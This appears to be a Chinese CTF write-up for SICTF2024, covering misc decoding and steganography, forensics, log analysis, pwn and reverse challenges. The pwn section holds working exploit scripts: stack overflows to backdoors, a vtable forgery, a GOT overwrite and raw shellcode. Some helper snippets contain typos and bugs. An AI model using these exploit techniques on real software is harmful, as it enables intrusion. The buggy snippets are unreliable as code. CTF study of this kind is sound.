SICTF2024

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真💨签到

加密zip文件包最后一串数字，5456545454565458414259555854585458434152595958415a435959595558563d
- 16进制转字符TVTTTVTXABYUXTXTXCARYYXAZCYYYUXV=
- 字符文本解密 2024HappyNewYear
zip解压后一个音频一个图片
- 音频用Audacity 注意音频名称
- 用steghide解码 steghide extract -sf steg.jpg

New Year’s regret

密码是2024SICTF

01画图（赛博厨子），汉信码，以及压缩包末尾发现字符串，尝试hex编码（考虑逆向输入）

1
2
3

s='43637d135333'
print(s[::-1])
#333531d73634-->351×64

画图：

from PIL import Image
MAX1=351
MAX2=64
pic = Image.new("RGB",(MAX1,MAX2))
str = "01码"
i = 0
for y in range(0,MAX2):
    for x in range(0,MAX1):
        if(str[i]=='1'):
            pic.putpixel([x,y],(0,0,0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i=i+1
pic.show()
pic.save("flag.png")

music-sheet-cipher解码得一部分：

010另一文件有压缩包和png图片，kali分离
压缩包解压base64循环

import re
from bases64 import b64ecode

def process_data(data):
    try:
        data=re.sub(r'flag|[⼀-龥]','',data)
        decode_data=b64ecode(data)
        return decode_data.decode(),True
  	except:
        return data.False
    
with open('flag_new.txt','r',encoding='ute-8')as file:
    date = file.read()
iterations = 0

while True:
    data,can_decode=process_data(data)
    iterations+=1
    
    if not can_decode:
        print("result",data)
        print("rotatin",iterations)
        braek

战双帕米什武器星级，，，

1	44664654464566654465645644544664654654644546445446646565444454544664654664544545646454544454466465465645644

考虑摩斯密码，4为”.”,6”-“,5为空格

三部分拼起来

GeekChallege

神秘的流量

题⽬描述：

flag值：SICTF{b50936c7-b60d-411e-a91f-304937164b9c}

https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py

https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py

使⽤ cs-extract-key.py ⼯具可以得到 AES key : HMAC key

然后⽤ cs-parse-http-traffic.py 就可以拿到明⽂

参考资料：

https://fdlucifer.github.io/2022/01/05/decrypt-cs-traffic/

WHO？WHO？WHO？

1、archpr爆破密码为qweqwe

2、使⽤零宽后得到⼀串rabbit解密，且密码就是问题的答案，密码为shumu

3、根据⽂件题⽬提⽰使⽤DNA解密得到flag

日志分析 1

SICTF{黑客所接入的IP地址|黑客所创建的用户名|黑客所加入的用户组|黑客创建的计划名|创建计划任务的对象后门所处的路径（小写盘符……,后门路径精确到****.exe）|黑客远程登陆RDP的账户}
后门路径精确到****.exe

直接使用windows工具筛查

{192.168.222.200|attack$|Administrators|callback|c:\windows\system32\windows_at*

tack.exe|ADOFLMB\attack$}

日志分析2

SICTF{攻击者的IP地址|攻击者得到Web应⽤后台管理权限的⽅法|攻击者在SQL注⼊攻击过程中使⽤

的⾃动化⼯具名称|⼯具版本号|攻击者使⽤的Webshell连接⼯具（中⽂名）|⼯具版本号}

flag值：SICTF{10.11.35.95|暴⼒破解|sqlmap|1.2.4.18|蚁剑|2.1}

PWN

read之后调⽤了strlen，就会把rdi设置为bug的地址，所以只需要buf以/bin/sh开头，然后直接改返回地址到backdoor的system那⾥即可

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

p=process('./pwn')

#gdb.attach(p)
backdoor=0x4011f4

p.recvuntil(b'length:')
p.sendline(str(0x100).encode())
p.recvuntil(b'command:')
payload = flat([
    b'/bin/sh\0x00',
    b'a'*0x50,
    backdoor
])
p.send(payload)

p.interactive()

Eeeeasy Cpp

思路是泄露堆地址然后伪造vtable，把虚表指针指向伪造的vtable再call⼀下完成利⽤


1 from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 def get(name, passwd):
6 p.recvuntil(b'>> ')
7 p.sendline(b'G')
8 p.recvuntil(b'name: ')
9 p.sendline(name)
10 p.recvuntil(b'password: ')
11 p.sendline(passwd)
12
13 def show():
14 p.recvuntil(b'>> ')
15 p.sendline(b'P')
1617 #p = process('./EeeeasyCpp')
18 p = remote('xxxxxx', xxxx)
19 # set offset to 0x40 to check if the offset is correct by comparing with vtable
20 offset = 0x48
21 try:
22 p.recvuntil(b'gift: ')
23 main = int(p.recvuntil(b'\n')[:-1], 16)
24 base = main - 0x2650
25 success('base addr -> {}'.format(hex(base)))
26 backdoor = base + 0x22e0
27 vtable = base + 0x4d48
28
29 info('vtable -> {}'.format(hex(vtable)))
30 #gdb.attach(p)
31 get(
32 b'123',
33 flat([
34 b'a' * 0x10,
35 0, 0x21,
36 vtable, bytes([offset])
37 ])
38 )
39 show()
40 p.recvuntil(b'Name: ')
41 ptr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
42 # heap
43 success('ptr -> {}'.format(hex(ptr)))
44 if ptr == 0:
45 raise Exception('name addr is 0')
46 # rollback
47 name_addr = ptr - 0x38
48 get(
49 flat([name_addr]),
50 flat([0x21])
51 )
52 # if name is 123, rollback success
53 # show()
54 fake_vtable = name_addr
55 get(
56 flat([backdoor, backdoor]), # check by setting backdoor to main
57 flat([
58 b'a' * 0x10,
59 0, 0x21,
60 fake_vtable, name_addr
61 ])
62 )
63 # get or show will trigger the backdoor
64 show()
65 p.interactive()
66
67 except Exception as e:
68 print("error: ", e)
69 p.close()

Bug Zapper

您是否经常被bug烦恼？您是否想要⼀款安全，⾼效，没有任何额外副产出的杀⾍器？*

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输⼊⻓度不⼤于0x10，使得syscall的时候调⽤号在0x55（creat）到0x65（ptrace）

然后需要在前三个参数都是0的情况下，syscall后返回值为0，有3个调⽤可以符合

分别是fchmod（0x5b）， gettimeofday（0x60），ptrace（0x65）

也就是分别对应了输⼊⻓度为6，11，16字节。（注意ptrace在动调时是返回-1的）

我们直接使⽤ptrace打（这题其实11字节就够了，也就是gettimeofday就能过，调试也相对⽅便），⻓度不够就把第⼆段payload给read到0x1919820后⾯，然后就是⼀波orw，不过要注意，这⾥调⽤execve会失败，直接⽤pwntools的shellcraft应该是不⾏的

from pwn import *
2 context.log_level = 'debug'
3 context.arch = 'amd64'
4
5 p = process('./bugzapper')
6
7 '''
8 add rax, 0x10 ; rax = 0x1919820
9 mov rsi, rax
10 mov edx, 0x80
11 xor eax, eax
12 syscall
13 '''
14 payload = b'H\x83\xc0\x10H\x89\xc6\xba\x80\x00\x00\x001\xc0\x0f\x05'
15 # assert len(payload) == 0x10
16
17 p.recv()
18 p.send(payload)
19
20 '''
21 mov eax, 0x67616c66
22 mov [esi - 0x10], rax
23
24 // 这⾥是确认 "flag" 已经写⼊了 0x1919810
25 // write(1, 0x1919810, 0x20)
26 mov edi, 1
27 sub esi, 0x10 ; rsi = 0x1919810
28 mov edx, 0x20
29 mov eax, 0x1
30 syscall
31
32 // open("flag", 0, 0)
33 mov edi, esi
34 xor esi, esi
35 xor edx, edx
36 mov eax, 2
37 syscall
38
39 // read(3, 0x1919870, 0x40)
40 mov esi, 0x1919870
41 mov edi, 3
42 mov edx, 0x40
43 mov eax, 0
44 syscall
45
46 // write(1, 0x1919870, 0x40)
47 mov edi, 1
48 mov eax, 1
49 syscall
50
51 // exit(0)
52 mov edi, 0
53 mov eax, 0x3c
54 syscall
55 '''
56 payload = b'\xb8flaggH\x89F\xf0\xbf\x01\x00\x00\x00\x83\xee\x10\xba\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x89\xf71\xf61\xd2\xb8\x02\x00\x00\x00\x0f\x05\xbep\x98\x91\x01\xbf\x03\x00\x00\x00\xba@\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\xbf\x00\x00\x00\x00\xb8<\x00\x00\x00\x0f\x05'
57 p.send(payload)
58
59 p.interactive()

Bug Zapper Pro+

出题⼈：椰奶

题⽬描述：感谢您⼀直以来的⽀持，所以为了回馈⽼⽤⼾，我们推出了这款全新的Bug zapper pro

+，有任何问题欢迎向我们反馈

通过异或等构造⼀个syscall出来，然后为了⽅便直接把rdx设置为114514xxx那玩意，所以跑脚本建议

后⾯的payload在send前最好pause⼀下，⼀起发的话有可能会由于read⻓度太⼤导致后⾯的payload

在⼀开始也被读进去（

overflow

栈溢出修改string的引⽤为stack_chk的got地址，从⽽修改got表为后⻔地址，同时覆盖canary触发后

⻔

1 from pwn import *

2 context.log_level = 'debug'

3

4 *#p = process('./overflow')*

5 p = remote("xxxxxxxx", xxxxx)

6

7 backdoor = 0x4011d0

8 chk_got = 0x404018

9

10 *#gdb.attach(p)*

11 p.recvuntil(b'?\n')

12 payload = p64(backdoor) + b'b' * 0xa0 + p64(chk_got)

13 p.sendline(payload.ljust(0x150, b'a'))

14

15 p.interactive()

What?!only libc?!

TalBoom

出题⼈：TokameinE

题⽬描述：我们从来奉⾏没有政策就是我们的政策，所以我们打算什么也不做，任由恐怖分⼦们闹吧。（本题有回显，连接后请稍作等待）*

flag：Toka{Who_has_four_legs_in_the_morning_two_legs_at_noon_and_three_legs_in_theevening?}本题不公布任何附件。

看了⼀下⼤哥们的解法，⾮常优秀，所以在此就不公开预期解 exp 了，主要聊聊⾮预期的⼀个好办

法，来⾃Kalise师傅。

题⽬每次nc 都会构建不同的⼆进制，⽽每个⼆进制都有⼀个明显的栈溢出漏洞点，如果能够让程序到

达，则可以直接ROP完成利⽤。但是问题在于，到达的输⼊每次都是随机的，因此预期解是需要通过

⾃动化的⼿段动态分析程序来解出输⼊。但是Kalise师傅的⽅法则很简单，由于程序是类似于 Switch 的分发⽅式，所以每个⼆进制⽂件实际上

之只有那个strcmp是不同的，⽽偏移则全部相同，那么只要对着某个分⽀强⾏爆破，在预期的时间内

就可以撞出那个栈溢出，⽽只需要提取特定地址的字符串就能拿到该分⽀的输⼊，所以瞄着打就⾏

了。据该师傅所说，15分钟左右即可完成爆破。

这⾥就不放这位师傅的 exp 了

Reverse

Baby_c++

咱也不知道怎么回事，打开IDA，查找字符串就看到了

预期是找到flag

1
2
3

flag = [83,73,67,84,70,123,52,101,52,55,52,98,56,97,45,57,100,102,54,45,52,53,52,98,45,57,101,97,54,45,100,52,102,53,101,51,55,99,100,53,49,102,125]
for i in flag:
    print(chr(flag),end='')

Ez_pyc

pyc编译

（真服了，一直想着是走迷宫，，，，这么明显都没看出来是数独

将解转为16进制

输⼊内容：

6320870e5352469014668584c7f3229334e22689b45a64f926b5c

得到flag

SweetTofu

远程动态调试可以，，我在想。虚拟机好啊。。

virus-?n?lys1s

#校验php，strpos()因为php版本太低了，web佬绕过

esp定律脱壳
第二问记得挂代理（google（断
动调
启动子进程，类似于SMC的⼿段，来解密⽂件并且修复⽂件头
行为记录，wyt.exe,翻VT信息
直接微步情报（动态IP

https://s.threatbook.com/report/file/797c253df096431e69f1aa84f0010f248384fe437cda4bf8df916c48fbb7984f

Close me

❤*杂⻥~❤，你能关的掉吗~~❤（虽然不是病毒，不过如果要运⾏的话还是建议虚拟机吧*^_^）

请找到能够正常关闭的条件（即不通过直接终⽌进程的⽅式或者程序崩溃导致的关闭）

法一：

⾸先翻到下⾯发现有⼀个xor，解密⼀下看看得到⼀段hint